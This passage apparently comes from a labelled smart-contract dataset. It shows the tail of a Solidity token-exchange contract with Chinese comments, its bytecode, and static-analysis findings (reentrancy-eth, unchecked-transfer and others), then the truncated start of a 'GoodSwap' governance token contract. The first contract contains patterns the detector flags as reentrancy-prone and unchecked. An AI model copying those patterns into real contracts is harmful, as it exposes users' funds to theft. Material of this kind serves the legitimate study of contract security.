canTokenAmount = sellingAmount;
}
var etherAmount = canTokenAmount * st.price; //这里不存在溢出,因为 canTokenAmount = userEtherOf[msg.sender] / st.price; 2017-09-27
userEtherOf[msg.sender] -= etherAmount; //减少记账金额
//require(userEtherOf[msg.sender] >= 0); //冗余判断: 必然,uint数据类型。2017-09-27 delete
token.transferFrom(_seller, msg.sender, canTokenAmount); //转代币, ,预防类似 the dao 潜在的风险
if(userEtherOf[_seller] >= sellerGuaranteeEther){ //大于等于最低保证金,这样鼓励卖家存留一点保证金。
_seller.transfer(etherAmount); //转以太币,预防类似 the dao 潜在的风险
}
else{ //小于最低保证金
userEtherOf[_seller] += etherAmount; //由推改为拖,更安全! //这里不存在溢出,2017-09-27
}
st.soldoutAmount += canTokenAmount; //更新销售额 //可能溢出,只有恶意调用才可能出现溢出,溢出也不影响交易,不处理。 2017-09-27
st.thisAmount = token.allowance(_seller, this); //更新可销售代币数量
OnBuyToken(userEtherOf[msg.sender], msg.sender, _seller, _tokenAddress, canTokenAmount, st.price, st.thisAmount);
_result = true;
}
else{
_result = false;
OnBuyToken(userEtherOf[msg.sender], msg.sender, _seller, _tokenAddress, 0, _buyerTokenPrice, sellingAmount);
}
if (bigger && sellerGuaranteeEther > 0){ //虚报可出售Token,要惩罚卖家
if(checkSellerGuarantee(_seller)) { //虚报可出售Token,把此用户的保证金分了, owner 和 buyer 均分,然后继续处理;否则不能交易。
userEtherOf[owner] += sellerGuaranteeEther / 2;
userEtherOf[msg.sender] += sellerGuaranteeEther - sellerGuaranteeEther / 2; //防止不能被2整除的情况。 2017-09-27
userEtherOf[_seller] -= sellerGuaranteeEther;
}
else if (userEtherOf[_seller] > 0) //Buyer可以恶意攻击,明知卖家保证金不足,就每次小金额的购买代币,让卖家账上始终小于保证金金额,这种情况其实买家也不划算,毕竟gas蛮贵,而保证金最高才0.1 ether,暂不处理!
{
userEtherOf[owner] += userEtherOf[_seller] / 2;
userEtherOf[msg.sender] += userEtherOf[_seller] - userEtherOf[_seller] / 2;
userEtherOf[_seller] = 0;
}
}
_isBuying = false; //解锁
return;
}
function () public payable {
if(msg.value > 0){ //来者不拒,比抛出异常或许更合适。
userEtherOf[msg.sender] += msg.value;
}
}
bool private isDisTokening = false; //add 2017-09-27
function disToken(address _token) public { //处理捡到的各种Token,也就是别人误操作,直接给 this 发送了 token 。由调用者和Owner平分。因为这种误操作导致的丢失过去一年的损失达到几十万美元。
require(!isDisTokening); //拒绝二次进入! 2017-09-27
isDisTokening = true; //加锁 2017-09-27
Erc20Token token = Erc20Token(_token); //目前只处理 ERC20 Token,那些非标准Token就会永久丢失!
var amount = token.balanceOf(this); //有一定风险,2017-09-27
if (amount > 0){
var a1 = amount / 2;
if (a1 > 0){
token.transfer(msg.sender, a1); //有一定风险,2017-09-27
}
var a2 = amount - a1;
if (a2 > 0){
token.transfer(owner, a2); //有一定风险,2017-09-27
}
}
isDisTokening = false;
}
}
|
0x60606040523615610110576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630e91f4b3146101695780631c46d9d6146101a25780631ebf1f5b1461022e57806327af1d981461025b5780633410eb5b146102945780635004b7a2146102cd578063558b5aab1461031a57806359208b8a1461037957806360f8dab71461038e5780638da5cb5b146103a35780638f4ffcb1146103f8578063b11894c91461049c578063d2760b64146104d5578063e01cd37a14610502578063e44de4211461053b578063e9cf287a146105a9578063eebcd477146105d2578063f2566fca146105e7578063f2fde38b14610634578063f7a06a881461066d575b60003411156101675734600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b005b341561017457600080fd5b6101a0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061069b565b005b34156101ad57600080fd5b6101f8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061073f565b60405180868152602001858152602001848152602001831515151581526020018281526020019550505050505060405180910390f35b341561023957600080fd5b61024161078f565b604051808215151515815260200191505060405180910390f35b341561026657600080fd5b610292600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107a2565b005b341561029f57600080fd5b6102cb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610aa6565b005b34156102d857600080fd5b610304600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ab3565b6040518082815260200191505060405180910390f35b341561032557600080fd5b610363600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050610acb565b6040518082815260200191505060405180910390f35b341561038457600080fd5b61038c610d92565b005b341561039957600080fd5b6103a1610eb5565b005b34156103ae57600080fd5b6103b6610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040357600080fd5b61049a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610ee7565b005b34156104a757600080fd5b6104d3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111ee565b005b34156104e057600080fd5b6104e861129b565b604051808215151515815260200191505060405180910390f35b341561050d57600080fd5b610539600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112ae565b005b61058f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611522565b604051808215151515815260200191505060405180910390f35b34156105b457600080fd5b6105bc6124b3565b6040518082815260200191505060405180910390f35b34156105dd57600080fd5b6105e56124b9565b005b34156105f257600080fd5b61061e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612532565b6040518082815260200191505060405180910390f35b341561063f57600080fd5b61066b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061254a565b005b341561067857600080fd5b610699600480803515159060200190919080359060200190919050506125ea565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106f757600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6006602052816000526040600020602052806000526040600020600091509150508060000154908060010154908060020154908060030160009054906101000a900460ff16908060040154905085565b600460009054906101000a900460ff1681565b600080600080600760019054906101000a900460ff161515156107c457600080fd5b6001600760016101000a81548160ff0219169083151502179055508493508373ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561088557600080fd5b6102c65a03f1151561089657600080fd5b5050506040518051905092506000831115610a84576002838115156108b757fe5b049150600082111561098b578373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561096e57600080fd5b6102c65a03f1151561097f57600080fd5b50505060405180519050505b81830390506000811115610a83578373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610a6657600080fd5b6102c65a03f11515610a7757600080fd5b50505060405180519050505b5b6000600760016101000a81548160ff0219169083151502179055505050505050565b610ab03382612697565b50565b60026020528060005260406000206000915090505481565b6000806000808673ffffffffffffffffffffffffffffffffffffffff1614151515610af557600080fd5b600085111515610b0457600080fd5b4284111515610b1257600080fd5b610b1b3361279c565b151515610b2757600080fd5b610b30336127e7565b1515610b3b57600080fd5b8591508173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515610c1557600080fd5b6102c65a03f11515610c2657600080fd5b505050604051805190509250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905082816000018190555084816002018190555083816004018190555060008160030160006101000a81548160ff02191690831515021790555084838773ffffffffffffffffffffffffffffffffffffffff167f7ad3e174fca8f411af3a566159327d51ff421da2c8f5ef041f8aca479fa5014e33888660030160009054906101000a900460ff16604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390a450509392505050565b6000600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515610eb257600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403905080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610eb157600080fd5b5b50565b610ebf3333612697565b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000808773ffffffffffffffffffffffffffffffffffffffff1614151515610f1157600080fd5b60008573ffffffffffffffffffffffffffffffffffffffff1614151515610f3757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610f9e57503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1515610fa957600080fd5b610fb23361279c565b151515610fbe57600080fd5b3392508273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e88306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561109857600080fd5b6102c65a03f115156110a957600080fd5b505050604051805190509150600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508181600001819055508060020154828673ffffffffffffffffffffffffffffffffffffffff167f7ad3e174fca8f411af3a566159327d51ff421da2c8f5ef041f8aca479fa5014e8a85600401548660030160009054906101000a900460ff16604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390a450505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124a57600080fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050565b600760009054906101000a900460ff1681565b6000806000808473ffffffffffffffffffffffffffffffffffffffff16141515156112d857600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020925060018360030160006101000a81548160ff0219169083151502179055508391508173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561144d57600080fd5b6102c65a03f1151561145e57600080fd5b5050506040518051905090508083600001819055508260020154818573ffffffffffffffffffffffffffffffffffffffff167f7ad3e174fca8f411af3a566159327d51ff421da2c8f5ef041f8aca479fa5014e3387600401548860030160009054906101000a900460ff16604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390a450505050565b60008060008060008060008060008b73ffffffffffffffffffffffffffffffffffffffff161415151561155457600080fd5b60008a73ffffffffffffffffffffffffffffffffffffffff161415151561157a57600080fd5b60008911151561158957600080fd5b600760009054906101000a900460ff161515156115a557600080fd5b6001600760006101000a81548160ff02191690831515021790555034600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611675576000600760006101000a81548160ff0219169083151502179055506124a5565b8996508673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e8c306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561174f57600080fd5b6102c65a03f1151561176057600080fd5b505050604051805190509550600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002094508673ffffffffffffffffffffffffffffffffffffffff166370a082318c6000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561188d57600080fd5b6102c65a03f1151561189e57600080fd5b50505060405180519050935060009250858410156118be57839550600192505b600085600201541180156118d55750428560040154115b80156118e15750600086115b80156118fc57508460030160009054906101000a900460ff16155b15612027578460020154891015611a1b57888a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167fd33a3924940aa1d07852c1ec75dbcb2eaee646434a1f5e19dee4a92e0f57ad06600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020543360008c604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a4600097506000600760006101000a81548160ff0219169083151502179055506124a5565b8460020154600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811515611a6957fe5b049150600082118015611ac05750600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485600201548302115b15611acc576001820391505b6000821415611be75784600201548a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167fd33a3924940aa1d07852c1ec75dbcb2eaee646434a1f5e19dee4a92e0f57ad06600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020543360008c604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a4600097506000600760006101000a81548160ff0219169083151502179055506124a5565b85821115611bf3578591505b84600201548202905080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508673ffffffffffffffffffffffffffffffffffffffff166323b872dd8c33856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515611d2857600080fd5b6102c65a03f11515611d3957600080fd5b5050506040518051905050600554600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515611dd3578a73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611dce57600080fd5b611e21565b80600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b8185600101600082825401925050819055508673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e8c306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611f0a57600080fd5b6102c65a03f11515611f1b57600080fd5b50505060405180519050856000018190555084600201548a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167fd33a3924940aa1d07852c1ec75dbcb2eaee646434a1f5e19dee4a92e0f57ad06600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205433878b60000154604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a460019750612116565b60009750888a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167fd33a3924940aa1d07852c1ec75dbcb2eaee646434a1f5e19dee4a92e0f57ad06600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020543360008c604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a45b82801561212557506000600554115b15612489576121338b6127e7565b1561226857600260055481151561214657fe5b0460026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060026005548115156121c357fe5b0460055403600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600554600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550612488565b6000600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156124875760028060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548115156122fa57fe5b0460026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060028060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548115156123b357fe5b04600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b6000600760006101000a81548160ff0219169083151502179055505b505050505050509392505050565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561251557600080fd5b6000600760006101000a81548160ff021916908315150217905550565b60036020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125a657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561264657600080fd5b6301e13380600054420311151561265c57600080fd5b67016345785d8a00008110151561267257600080fd5b81600460006101000a81548160ff021916908315150217905550806005819055505050565b6000808273ffffffffffffffffffffffffffffffffffffffff16141515156126be57600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156127975780600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561279657600080fd5b5b505050565b600080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054119050919050565b6000600460009054906101000a900460ff161561284a57600554600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015905061284f565b600190505b9190505600a165627a7a723058209cf14565d2648868e3d26a33e72a18b5c52ecbcb1d5744d77d93a7c8ff868e850029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,046 |
0x1a0025109bb95437b9c0676220737dd0edea8189
|
/**
*Submitted for verification at Etherscan.io on 2021-03-31
*/
/**
*Submitted for verification at Etherscan.io on 2021-03-31
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract Gds {
/// @notice EIP-20 token name for this token
string public constant name = "GoodSwap";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "GDS";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 14000000000e18; // 14 billion Dgs
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Dgs token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Dgs::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Dgs::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Dgs::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Dgs::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Dgs::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Dgs::delegateBySig: invalid nonce");
require(now <= expiry, "Dgs::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Dgs::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Dgs::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Dgs::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Dgs::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Dgs::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Dgs::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
